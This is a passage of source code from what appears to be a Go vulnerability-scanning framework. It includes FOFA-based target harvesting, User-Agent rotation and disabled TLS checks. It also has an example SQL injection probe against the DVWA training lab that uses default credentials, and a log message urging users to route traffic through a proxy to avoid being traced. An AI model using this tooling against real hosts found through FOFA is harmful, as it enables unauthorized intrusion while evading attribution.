82 | customResponse.StatusCode = procedureResponse.StatusCode
83 | customResponse.Trailer = procedureResponse.Trailer
84 | customResponse.TransferEncoding = procedureResponse.TransferEncoding
85 | customResponse.Uncompressed = procedureResponse.Uncompressed
86 |
87 | cancel()
88 | return customResponse, nil
89 | }
90 |
91 | // ProcessPackagesForCode 被用来处理包,包含请求包和响应包. 用处给未写明的header头字段赋予初值
92 | func ProcessPackagesForCode(procedureRequest *http.Request, config SetHttpConfig) {
93 | var randomUserAgent string
94 | if config.Header["User-Agent"] != "" {
95 | randomUserAgent = config.Header["User-Agent"]
96 | } else {
97 | // 随机 UA
98 | userAgents := []string{
99 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
100 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
101 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Hot Lingo 2.0)",
102 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36",
103 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3451.0 Safari/537.36",
104 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174",
105 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21",
106 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3",
107 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
108 | }
109 | rand.Seed(time.Now().UnixNano())
110 | randomUserAgent = userAgents[rand.Intn(len(userAgents))]
111 | }
112 |
113 | // 对 header 头赋予默认值
114 | defaultHeaders := map[string]string{
115 | "User-Agent": randomUserAgent,
116 | "Accept-Encoding": "gzip, deflate",
117 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
118 | "Accept": "*/*",
119 | "Connection": "close",
120 | "Content-Type": "text/html; charset=UTF-8",
121 | // 你可以添加更多默认的键值对,当 poc 没写时可以赋值给它
122 | }
123 |
124 | // 使用 map 来标记是否存在
125 | isHasExist := make(map[string]bool)
126 |
127 | // 情况1: header字段已设置值则使用设置值,不赋予默认值
128 | for headerName, headerValue := range config.Header {
129 | procedureRequest.Header.Add(headerName, headerValue)
130 | isHasExist[headerName] = true
131 | }
132 |
133 | // 情况2: header字段未设置值则赋予默认值.
134 | for headerName, headerValue := range defaultHeaders {
135 | if !isHasExist[headerName] {
136 | procedureRequest.Header.Add(headerName, headerValue)
137 | }
138 | }
139 | }
140 |
--------------------------------------------------------------------------------
/main/Developer/HttpAbout/SetProxy.go:
--------------------------------------------------------------------------------
1 | package HttpAbout
2 |
3 | import (
4 | "crypto/tls"
5 | "fmt"
6 | "net/http"
7 | "net/url"
8 | )
9 |
10 | func SetProxy(inputProxy string, followRedirects bool) *http.Client {
11 | if inputProxy == "" {
12 | fmt.Println("[-] 你忘记输入代理地址了,自动为你配置为: http://127.0.0.1:8080")
13 | inputProxy = "http://127.0.0.1:8080"
14 | }
15 |
16 | // 创建一个代理函数,将请求发送到指定的本地端口
17 | proxy := func(_ *http.Request) (*url.URL, error) {
18 | return url.Parse(inputProxy)
19 | }
20 |
21 | // 创建一个自定义的 Transport,并设置代理函数
22 | transport := &http.Transport{
23 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
24 | Proxy: proxy,
25 | }
26 |
27 | // 创建一个使用自定义 Transport 的 HTTP 客户端
28 | client := &http.Client{
29 | Transport: transport,
30 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
31 | if !followRedirects {
32 | return http.ErrUseLastResponse // 如果不追随重定向,则返回上一个response
33 | }
34 | return nil // 如果跟随重定向,则允许继续
35 | },
36 | }
37 | return client
38 | }
39 |
--------------------------------------------------------------------------------
/main/Developer/HttpAbout/SimpleHttp.go:
--------------------------------------------------------------------------------
1 | package HttpAbout
2 |
3 | import (
4 | "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Developer/Fofa"
6 | "GoPoc/main/Log"
7 | "bufio"
8 | "encoding/json"
9 | "fmt"
10 | "os"
11 | "strconv"
12 | "strings"
13 | )
14 |
15 | func SendForFofa(config map[string]string, pocStruct Format.PocStruct) []string {
16 | maxFofaSizeInt, err := strconv.Atoi(config["maxFofaSize"])
17 | if err != nil {
18 | Log.Log.Fatal("maxFofaSize 并不是一个有效数字\n")
19 | }
20 |
21 | var urlsList []string
22 | var queryResponse Fofa.QueryResponse
23 | err = json.Unmarshal(Fofa.SearchReturnByte(config, pocStruct, maxFofaSizeInt), &queryResponse)
24 | if err != nil {
25 | Log.Log.Fatal("Failed to parse JSON:", err)
26 | }
27 |
28 | for _, tmpOutcome := range queryResponse.Results {
29 | if !strings.HasPrefix(tmpOutcome[1].(string), tmpOutcome[0].(string)) {
30 | urlsList = append(urlsList, tmpOutcome[0].(string)+"://"+tmpOutcome[1].(string))
31 | } else {
32 | urlsList = append(urlsList, tmpOutcome[1].(string))
33 | }
34 | }
35 | Log.Log.Println(fmt.Printf("[+] 查询 fofa 语句为: %v 该fofa语句查询到: %v 条,你最大想搜索 %v 条\n", queryResponse.Query, queryResponse.Size, config["maxFofaSize"]))
36 | return urlsList
37 | }
38 |
39 | func SendForUrlOrFile(userInputDetectionURL string) []string {
40 | var urlsList []string
41 | if strings.Contains(strings.ToLower(userInputDetectionURL), "[url]") {
42 | userInputDetectionURL = userInputDetectionURL[5:]
43 | Log.Log.Println("[+] 基于单个url进行扫描: " + userInputDetectionURL)
44 | if !strings.HasPrefix(strings.ToLower(userInputDetectionURL), "http://") && !strings.HasPrefix(strings.ToLower(userInputDetectionURL), "https://") {
45 | userInputDetectionURL = "http://" + userInputDetectionURL
46 | }
47 | urlsList = append(urlsList, userInputDetectionURL)
48 | } else {
49 | userInputDetectionURL = userInputDetectionURL[6:]
50 | Log.Log.Println("[+] 基于指定路径进行扫描: " + userInputDetectionURL)
51 | urlFile, err := os.Open(userInputDetectionURL)
52 | if err != nil {
53 | Log.Log.Fatal("can't open file:", err)
54 | }
55 | defer func(file *os.File) {
56 | err = file.Close()
57 | if err != nil {
58 | Log.Log.Fatal("can't close file:", err)
59 | }
60 | }(urlFile)
61 |
62 | reader := bufio.NewReader(urlFile)
63 | for {
64 | line, err := reader.ReadString('\n')
65 | if err != nil && line == "" {
66 | break
67 | }
68 | urlsList = append(urlsList, strings.ReplaceAll(strings.ReplaceAll(line, "\r", ""), "\n", ""))
69 | line = ""
70 | }
71 | }
72 |
73 | return urlsList
74 | }
75 |
--------------------------------------------------------------------------------
/main/Developer/handle/HandleJSON.go:
--------------------------------------------------------------------------------
1 | package Handle
2 |
3 | import (
4 | format2 "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Log"
6 | "encoding/json"
7 | "strings"
8 | )
9 |
10 | var pocStruct format2.PocStruct
11 |
12 | func TryToParsePocStruct(jsonData string) format2.PocStruct {
13 | err := json.Unmarshal([]byte(jsonData), &pocStruct)
14 | if err != nil {
15 | Log.Log.Fatal("[-] Error unmarshal Json:", err)
16 | }
17 | return pocStruct
18 | }
19 |
20 | // TraversePath 遍历PathList中的Path,并添加到allReqPath,用于处理poc中同时出现多个uri的情况
21 | func TraversePath(requestPackage format2.RequestPackage, inputUrl string) []string {
22 | var allReqPath []string
23 | var i = 0
24 |
25 | for _, tmpPath := range requestPackage.Uri {
26 | if !strings.HasPrefix(tmpPath, "/") {
27 | tmpPath = "/" + tmpPath
28 | }
29 | allReqPath = append(allReqPath, inputUrl+tmpPath)
30 | i++
31 | }
32 | return allReqPath
33 | }
34 |
--------------------------------------------------------------------------------
/main/Developer/handle/HandlePack.go:
--------------------------------------------------------------------------------
1 | package Handle
2 |
3 | import (
4 | "GoPoc/main/Developer/AllFormat"
5 | "math/rand"
6 | "net/http"
7 | "time"
8 | )
9 |
10 | // ProcessPackagesForJson 被用来处理包,包含请求包和响应包. 用处给未写明的header头字段赋予初值
11 | func ProcessPackagesForJson(procedureRequest *http.Request, pocStruct Format.PocStruct) {
12 | // 随机 UA
13 | userAgents := []string{
14 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
15 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
16 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Hot Lingo 2.0)",
17 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36",
18 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3451.0 Safari/537.36",
19 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174",
20 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21",
21 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3",
22 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
23 | }
24 | rand.Seed(time.Now().UnixNano())
25 | randomUserAgent := userAgents[rand.Intn(len(userAgents))]
26 |
27 | // 对 header 头赋予默认值
28 | defaultHeaders := map[string]string{
29 | "User-Agent": randomUserAgent,
30 | "Accept-Encoding": "gzip, deflate",
31 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
32 | "Accept": "*/*",
33 | "Connection": "close",
34 | "Content-Type": "text/html; charset=UTF-8",
35 | // 你可以添加更多默认的键值对,当 poc 没写时可以赋值给它
36 | }
37 |
38 | // 使用 map 来标记是否存在
39 | isHasExist := make(map[string]bool)
40 |
41 | // 情况1: header字段已设置值则使用设置值,不赋予默认值
42 | for headerName, headerValue := range pocStruct.RequestPackage.Header {
43 | if headerValueString, ok := headerValue.(string); ok {
44 | procedureRequest.Header.Add(headerName, headerValueString)
45 | isHasExist[headerName] = true
46 | }
47 | }
48 |
49 | // 情况2: header字段未设置值则赋予默认值.
50 | for headerName, headerValue := range defaultHeaders {
51 | if !isHasExist[headerName] {
52 | procedureRequest.Header.Add(headerName, headerValue)
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/main/Developer/handle/HandleXML.go:
--------------------------------------------------------------------------------
1 | package Handle
2 |
3 | import (
4 | "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Log"
6 | "encoding/xml"
7 | "io/ioutil"
8 | )
9 |
10 | func ProcessXML(inputXml string) Format.RequestPackage {
11 | xmlData, err := ioutil.ReadFile(inputXml)
12 | if err != nil {
13 | Log.Log.Fatal("[-] Error reading file:", err)
14 | }
15 | var requestPackage Format.RequestPackage
16 | err = xml.Unmarshal(xmlData, &requestPackage)
17 | if err != nil {
18 | Log.Log.Fatal("[-] Error unmarshalling XML:", err)
19 | }
20 | return requestPackage
21 | }
22 |
--------------------------------------------------------------------------------
/main/Developer/handle/utils.go:
--------------------------------------------------------------------------------
1 | package Handle
2 |
3 | import (
4 | "GoPoc/main/Log"
5 | "bufio"
6 | "os"
7 | "strings"
8 | )
9 |
10 | func HandleIni(fileName string) map[string]string {
11 | file, err := os.Open(fileName)
12 | if err != nil {
13 | Log.Log.Fatal("打开文件失败:%v\n", err)
14 | }
15 | defer func(file *os.File) {
16 | err = file.Close()
17 | if err != nil {
18 | Log.Log.Fatal("关闭文件失败:%v\n", err)
19 | }
20 | }(file)
21 |
22 | // 创建一个map用于存储键值对
23 | config := make(map[string]string)
24 |
25 | // 使用Scanner按行读取文件内容
26 | scanner := bufio.NewScanner(file)
27 | var key string
28 | for scanner.Scan() {
29 | line := strings.TrimSpace(scanner.Text())
30 | if line != "" {
31 | if strings.HasPrefix(line, "-") {
32 | // 保存当前行作为键名
33 | key = strings.TrimPrefix(line, "-")
34 | } else if key != "" {
35 | // 存储键值对到map中
36 | config[key] = line
37 | key = ""
38 | }
39 | }
40 | }
41 | return config
42 | }
43 |
--------------------------------------------------------------------------------
/main/Developer/readme.txt:
--------------------------------------------------------------------------------
1 | Developer 模块:
2 | 专门用于给开发人员使用的,如果你想二开请在此目录下进行操作.
--------------------------------------------------------------------------------
/main/Log/Logger.go:
--------------------------------------------------------------------------------
1 | package Log
2 |
3 | import (
4 | "log"
5 | "os"
6 | )
7 |
8 | var Log *log.Logger
9 |
10 | type Logger struct {
11 | }
12 |
13 | func NewLogger() *Logger {
14 | return &Logger{}
15 | }
16 |
17 | func (i *Logger) Init() {
18 | Log = log.New(os.Stdout, "", log.Ldate | log.Ltime)
19 | }
20 |
--------------------------------------------------------------------------------
/main/User/Resource/test.txt:
--------------------------------------------------------------------------------
1 | {"product": "MAIPU-router", "rule": "protocol=snmp && (banner=\"Maipu\" || banner=\"MyPower (R) \" || banner=\"MyPower \")"}
--------------------------------------------------------------------------------
/main/User/Utils/FileUtils.go:
--------------------------------------------------------------------------------
1 | package Utils
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "log"
7 | "os"
8 | )
9 |
10 | // WriteLinesToFile [写文件] 写内容进文件中
11 | func WriteLinesToFile(filePath string, lines []string) {
12 | file, err := os.Create(filePath)
13 | if err != nil {
14 | fmt.Println("Error creating file:", err)
15 | return
16 | }
17 | defer func(file *os.File) {
18 | err := file.Close()
19 | if err != nil {
20 | log.Fatal(err)
21 | }
22 | }(file) // 确保在函数退出时关闭文件
23 |
24 | writer := bufio.NewWriter(file)
25 | for _, line := range lines {
26 | _, err := writer.WriteString(line + "\n")
27 | if err != nil {
28 | fmt.Println("Error writing to file:", err)
29 | return
30 | }
31 | }
32 |
33 | // 确保所有缓冲区的数据都写入文件
34 | err = writer.Flush()
35 | if err != nil {
36 | fmt.Println("Error flushing writer:", err)
37 | return
38 | }
39 | }
40 |
41 | // ReadFileToStringArray [读文件] 按行读取文件,返回值为字符串数组
42 | func ReadFileToStringArray(filePath string) []string {
43 | var lines []string
44 | file, err := os.Open(filePath) // 替换为你的文件路径
45 | if err != nil {
46 | fmt.Println("Error:", err)
47 | os.Exit(1)
48 | }
49 | defer func(file *os.File) {
50 | err := file.Close()
51 | if err != nil {
52 | fmt.Println(err.Error())
53 | }
54 | }(file) // 确保在函数结束时关闭文件
55 | scanner := bufio.NewScanner(file)
56 | for scanner.Scan() {
57 | lines = append(lines, scanner.Text()) // 将每一行添加到切片
58 | }
59 | if err := scanner.Err(); err != nil {
60 | fmt.Println("Error reading file:", err)
61 | os.Exit(1)
62 | }
63 | return lines
64 | }
65 |
66 | // AppendToFile [写文件] 使用追加的方式将内容写入进文件
67 | func AppendToFile(filePath string, content string) {
68 | // 打开文件,使用追加访问模式及创建文件的权限
69 | file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
70 | if err != nil {
71 | fmt.Printf("failed to open file: %v\n", err)
72 | }
73 | defer func(file *os.File) {
74 | err := file.Close()
75 | if err != nil {
76 | log.Fatal(err)
77 | }
78 | }(file)
79 |
80 | // 将字符串写入文件
81 | if _, err = file.WriteString(content + "\n"); err != nil { // 可以根据需要添加换行符
82 | fmt.Printf("failed to write to file: %v\n", err)
83 | }
84 | }
85 |
--------------------------------------------------------------------------------
/main/User/Utils/Regex.go:
--------------------------------------------------------------------------------
1 | package Utils
2 |
3 | import (
4 | "regexp"
5 | "strings"
6 | )
7 |
8 | // GetXXXContent 获取字符串中括号内/外的内容
9 | func GetXXXContent(_type string, str string) string {
10 | var regEx string
11 | switch _type {
12 | case "rightBrackets":
13 | regEx = "(?<=\\))(.+)"
14 | case "brackets":
15 | regEx = "(?<=\\()(.+?)(?=\\))"
16 | case "middleBrackets":
17 | regEx = "\\[(.*?)]"
18 | case "brace":
19 | regEx = "\\{(.+?)\\}"
20 | }
21 |
22 | reg := regexp.MustCompile(regEx)
23 | matches := reg.FindAllStringSubmatch(str, -1)
24 |
25 | var stringBuilder strings.Builder
26 | for _, match := range matches {
27 | stringBuilder.WriteString(match[1])
28 | }
29 | return stringBuilder.String()
30 | }
31 |
32 | // RegexSpecialChair 正则过滤特殊字符(1.空格 2.特殊字符[中英文])
33 | func RegexSpecialChair(str string) string {
34 | regEx := "[\\s`~!@#$%^&*()+=|{}':;',\\[\\].<>/?~!@#¥%……&*()——+|{}【】‘;:”“’。,、?]"
35 | reg := regexp.MustCompile(regEx)
36 | return reg.ReplaceAllString(str, "")
37 | }
38 |
--------------------------------------------------------------------------------
/main/User/Utils/Strings.go:
--------------------------------------------------------------------------------
1 | package Utils
2 |
3 | import (
4 | "GoPoc/main/Developer/HttpAbout"
5 | "bufio"
6 | "bytes"
7 | "fmt"
8 | "math/rand"
9 | "regexp"
10 | "strconv"
11 | "strings"
12 | )
13 |
14 | // RandomStringByModule 根据模式来返回对应的字符串. 模式1为所有字符(即包含数字和英文字符),模式2为纯数字,模式3为纯英文字符
15 | func RandomStringByModule(size, module int) string {
16 | var allChar string
17 | if module == 1 {
18 | allChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"
19 | } else if module == 2 {
20 | allChar = "1234567890"
21 | } else {
22 | allChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
23 | }
24 | var buffer bytes.Buffer
25 | for i := 0; i < size; i++ {
26 | buffer.WriteByte(allChar[rand.Intn(len(allChar))])
27 | }
28 | return buffer.String()
29 | }
30 |
31 | // SplitStr 返回被 两两分割 的数组
32 | func SplitStr(key string) []int {
33 | str := []rune(key)
34 | result := make([]int, len(str)/2)
35 | l, i, m := 2, 0, 0
36 |
37 | for i+m < len(str) {
38 | if i%l == 0 && i != 0 {
39 | str = append(str[:i+m], append([]rune{','}, str[i+m:]...)...)
40 | m++
41 | }
42 | i++
43 | }
44 |
45 | se := string(str)
46 | a := strings.Split(se, ",")
47 | for i := 0; i < len(result); i++ {
48 | j := a[i]
49 | if j == "" {
50 | break
51 | }
52 | val, _ := strconv.Atoi(j)
53 | result[i] = val
54 | }
55 |
56 | return result
57 | }
58 |
59 | // ParseHeaders 解析输入字符串,并返回键值对的映射
60 | func ParseHeaders(input string) {
61 | // 创建一个正则表达式,用于匹配键值对
62 | re := regexp.MustCompile(`(?m)^\s*(\S+):\s*(.*)$`)
63 | matches := re.FindAllStringSubmatch(input, -1)
64 |
65 | // 创建一个map来存储结果
66 | headers := make(map[string]string)
67 |
68 | // 遍历匹配结果,并将其存储到map中
69 | for _, match := range matches {
70 | if len(match) > 2 {
71 | headers[strings.TrimSpace(match[1])] = strings.TrimSpace(match[2])
72 | }
73 | }
74 | fmt.Println("[+] 解析 header 字符串,输出的结果为:")
75 | // 打印结果
76 | for key, value := range headers {
77 | fmt.Printf("%s: %s\n", key, value)
78 | }
79 | }
80 |
81 | // FullyAutomaticFillingHeader 输入请求体,全自动构造 header
82 | func FullyAutomaticFillingHeader(config HttpAbout.SetHttpConfig, input string) HttpAbout.SetHttpConfig {
83 | // 按行扫描,划分出请求头
84 | var headerLines []string
85 | var currentPosition int
86 | scanner := bufio.NewScanner(strings.NewReader(input))
87 | for scanner.Scan() {
88 | line := scanner.Text()
89 | currentPosition++
90 | if strings.TrimSpace(line) == "" {
91 | break
92 | }
93 | headerLines = append(headerLines, line)
94 | }
95 | sendMethod := strings.Fields(headerLines[0])
96 | config.Method = sendMethod[0]
97 |
98 | input = strings.Join(headerLines, "\r\n")
99 | re := regexp.MustCompile(`(?m)^\s*(\S+):\s*(.*)$`)
100 | matches := re.FindAllStringSubmatch(input, -1)
101 |
102 | // 创建一个map来存储结果
103 | headers := make(map[string]string)
104 |
105 | // 遍历匹配结果,并将其存储到map中
106 | for _, match := range matches {
107 | if len(match) > 2 {
108 | headers[strings.TrimSpace(match[1])] = strings.TrimSpace(match[2])
109 | }
110 | }
111 | for key, value := range headers {
112 | if strings.ToLower(key) == "host" || strings.ToLower(key) == "user-agent" {
113 | continue
114 | }
115 | config.Header[key] = value
116 | }
117 | return config
118 | }
119 |
--------------------------------------------------------------------------------
/main/User/dvwaSqlScan.go:
--------------------------------------------------------------------------------
1 | package User
2 |
3 | import (
4 | "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Developer/HttpAbout"
6 | "GoPoc/main/User/Utils"
7 | "strings"
8 | )
9 |
10 | var Json string
11 | var Poc func(hostInfo string) bool
12 | var Exp func(expResult Format.ExpResult) Format.ExpResult
13 |
14 | // Poc 编写,以 dvwa 靶场的sql注入为例
15 | func init() {
16 | // 有代码使用代码,无代码使用json
17 | // 如果存在代码,可以不写Json格式(即Json格式有架构,但内容为空).但必须存在 fofa语句
18 | // 此处的json只是说明json的使用方式,与代码模式并无关联
19 | Json = `{
20 | "VulnName":"dvwa 靶场 sql 注入",
21 |
22 | "CheckIP":"false",
23 |
24 | "Coroutine":"10",
25 |
26 | "File":"",
27 |
28 | "Url":"127.0.0.1",
29 |
30 | "Fofa":"body=\"Login :: Damn Vulnerable Web Application\"",
31 | "Uri" : "/dvwa/",
32 |
33 | "Request":{
34 |
35 | "Method": "GET",
36 |
37 | "Uri": [
38 | "/robots.txt",
39 | "/hello.txt"
40 | ],
41 |
42 | "Header":{
43 | "Accept-Encoding":"gzip"
44 | }
45 | },
46 |
47 | "Response":{
48 |
49 | "Operation":"OR",
50 |
51 | "Group":[
52 |
53 | {
54 |
55 | "Regexp": ".*?",
56 | "Header":{
57 |
58 | "Status": "200"
59 | },
60 |
61 | "Body":[
62 | "Hello World",
63 | "wahaha"
64 | ]
65 | },
66 |
67 | {
68 | "Header":{
69 |
70 | "Status": "200"
71 | }
72 | }
73 | ]
74 |
75 | }
76 | }`
77 |
78 | getSessionByLogin := func(hostInfo string) (string, error) {
79 | // 发起登录请求 --> 302跳转 --> 获取请求包中的session , 并返回
80 | config := HttpAbout.NewHttpConfig()
81 | config.Uri = "/dvwa/"
82 | resp, err := HttpAbout.SendHttpRequest(hostInfo, config)
83 | if err != nil {
84 | return "", err
85 | }
86 | config.Header["Cookie"] = resp.Header["Set-Cookie"][0]
87 | config.Body = "username=admin&password=password&Login=Login&user_token=" + Utils.RandomStringByModule(24, 1)
88 | config.Uri = "/dvwa/login.php"
89 | resp, err = HttpAbout.SendHttpRequest(hostInfo, config)
90 | if err != nil {
91 | return "", err
92 | }
93 | if !strings.Contains(resp.Body, "Welcome :: Damn Vulnerable Web ") {
94 | return "", err
95 | }
96 | return resp.Header["Set-Cookie"][0], nil
97 | }
98 |
99 | // 建议: 函数名+随机命名
100 | sendLoginByToken455445 := func(hostInfo string) (Format.CustomResponseFormat, error) {
101 | var err error
102 | var customResponse Format.CustomResponseFormat
103 | config := HttpAbout.NewHttpConfig()
104 | config.Header["Cookie"], err = getSessionByLogin(hostInfo) // (非强制) 自定义Header头
105 | if err != nil {
106 | return customResponse, nil
107 | }
108 | config.Header["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
109 | config.Header["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0" // (非强制) 如果不写的话随机从默认URL列表上选取一个
110 | config.TimeOut = 5 // (非强制) 如果不写的话默认值为 5秒
111 | config.Method = "GET" // (非强制) 如果不写的话默认值为 GET方式
112 | //config.Body = `123` // (非强制) 如果不写的话默认值为 ""
113 | config.Uri = "/dvwa/index.php" // (非强制) 如果不写的话默认值为 ""
114 | config.IsRedirect = true // (非强制) 如果不写的话默认值为 false,即返回的响应包数据为重定向前的响应包
115 | return HttpAbout.SendHttpRequest(hostInfo, config)
116 | }
117 |
118 | // 建议: 函数名+随机命名
119 | sendSqlPayload5251552 := func(hostInfo string) (Format.CustomResponseFormat, error) {
120 | config := HttpAbout.NewHttpConfig()
121 | config.Header["Cookie"] = "security=low; PHPSESSID=1abcbe73869e90560e9061ca636c813e"
122 | config.Uri = "/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#"
123 | return HttpAbout.SendHttpRequest(hostInfo, config)
124 | }
125 |
126 | // 如果使用代码模式, Poc函数为必须,其中的参数固定
127 | Poc = func(hostInfo string) bool {
128 | resp, err := sendLoginByToken455445(hostInfo)
129 | if err != nil {
130 | return false
131 | }
132 | if !strings.Contains(resp.Body, "Welcome to Damn") {
133 | return false
134 | }
135 | resp, err = sendSqlPayload5251552(hostInfo)
136 | return err == nil && strings.Contains(resp.Body, "You have an error in your SQL syntax;")
137 | }
138 |
139 | // 如果使用代码模式, Exp函数为必须,其中的参数固定
140 | // Exp 你可以尝试自己写一下:
141 | Exp = func(expResult Format.ExpResult) Format.ExpResult {
142 | return expResult
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/main/User/readme.txt:
--------------------------------------------------------------------------------
1 | User 模块:
2 | 专门用于给用户使用的,如果你想使用代码模式请在此处建 文件名.go 文件
3 |
4 |
5 | 以 dvwa 靶场的 sql 注入为例,详情请看 dvwaSqlScan.go 文件
6 |
--------------------------------------------------------------------------------
/main/config.ini:
--------------------------------------------------------------------------------
1 | -email
2 | xxxxxxxxxxx@gamil.com
3 | -key
4 | fdgdfhfgdhdfgdhfghfdg
5 | -vul
6 | D:\Coding\Github\GoPoc\main\User\test.go
7 | -mod
8 | poc
9 | -url
10 | http://127.0.0.1
11 | -proxy
12 | http://127.0.0.1:8082
13 | -maxConcurrentLevel
14 | 3
15 | -maxFofaSize
16 | 300
--------------------------------------------------------------------------------
/main/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | format2 "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Developer/Core"
6 | "GoPoc/main/Developer/Handle"
7 | "GoPoc/main/Developer/HttpAbout"
8 | "GoPoc/main/Log"
9 | "GoPoc/main/User"
10 | "GoPoc/main/User/Utils"
11 | "flag"
12 | "fmt"
13 | "log"
14 | "net"
15 | "os"
16 | "regexp"
17 | "strconv"
18 | "strings"
19 | "time"
20 | )
21 |
22 | func selectModule(config map[string]string, timeSet time.Duration) {
23 | // 两种 poc模式,第一种为json格式,第二种为代码格式
24 | var pocStruct format2.PocStruct
25 | pocModule := Core.LoadPlugin(config["vul"])
26 | pocStruct = Handle.TryToParsePocStruct(User.Json)
27 | var userInputDetectionURL string
28 | if pocStruct.Url != "" {
29 | userInputDetectionURL = "[url]" + pocStruct.Url
30 | } else if pocStruct.File != "" {
31 | userInputDetectionURL = "[file]" + pocStruct.File
32 | } else {
33 | userInputDetectionURL = ""
34 | }
35 | Log.NewLogger().Init()
36 | maxConcurrentLevelInt := 0
37 | var err error
38 | if pocStruct.Coroutine != "" {
39 | maxConcurrentLevelInt, err = strconv.Atoi(pocStruct.Coroutine)
40 | } else {
41 | maxConcurrentLevelInt, err = strconv.Atoi(config["coroutine"])
42 | }
43 | Core.MaxConcurrentLevelInt = maxConcurrentLevelInt
44 | if err != nil {
45 | Core.MaxConcurrentLevelInt = 200
46 | }
47 | if Core.MaxConcurrentLevelInt < 1 {
48 | Core.MaxConcurrentLevelInt = 200
49 | }
50 | if strings.ToLower(config["builtinFingerprint"]) == "true" {
51 | Core.IsBuiltinFingerprint = true
52 | }
53 | if strings.ToLower(config["detectionMode"]) == "true" {
54 | Core.IsDetectionModeByBool = true
55 | }
56 |
57 | var urlsList []string
58 | detectionBurpIsOpen(config["proxy"]) // 检测是否开启了burp,如果没有开启则输出“没有开启” 且直接返回
59 | if pocStruct.VulnName != "" {
60 | Log.Log.Println("[+] 加载的脚本名为: " + pocStruct.VulnName)
61 | }
62 |
63 | Log.Log.Println("[+] 加载的脚本的路径为: " + config["vul"])
64 | Log.Log.Println("[+] 开启的协程数为: " + strconv.Itoa(Core.MaxConcurrentLevelInt))
65 | HttpAbout.InputProxy = config["proxy"]
66 |
67 | if strings.ToLower(pocStruct.CheckIP) != "false" { // 允许脚本不检测ip,直接开始执行,作用为对某些工作用的脚本省去几秒等待时间
68 | ipAddressList := getIpAddress() // 检测是否开启代理
69 | if len(ipAddressList) < 3 {
70 | ipAddressList = append(ipAddressList, "null")
71 | }
72 | Log.Log.Printf("[+] 国内发包IP地址为: %s \t国外发包IP地址为: %s \t谷歌访问测试: %s ", ipAddressList[0], ipAddressList[1], ipAddressList[2])
73 | Log.Log.Println("[+] 【重要,必看】请确认各项IP地址无误,如扫描国内则看\"国内发包IP地址\"是否为代理IP地址,其他以此类推,不然被溯源了!")
74 | Log.Log.Println("[+] 将在5秒后自动开始扫描")
75 | time.Sleep(timeSet * time.Second) // 休眠5秒
76 | }
77 |
78 | Log.Log.Println("[+] 扫描开始:")
79 | if userInputDetectionURL == "" {
80 | Log.Log.Println("[+] 基于 fofa 进行搜索案例:")
81 | urlsList = HttpAbout.SendForFofa(config, pocStruct)
82 | } else {
83 | urlsList = HttpAbout.SendForUrlOrFile(userInputDetectionURL) // 发包模式2 基于 单个url / urlFile 文件
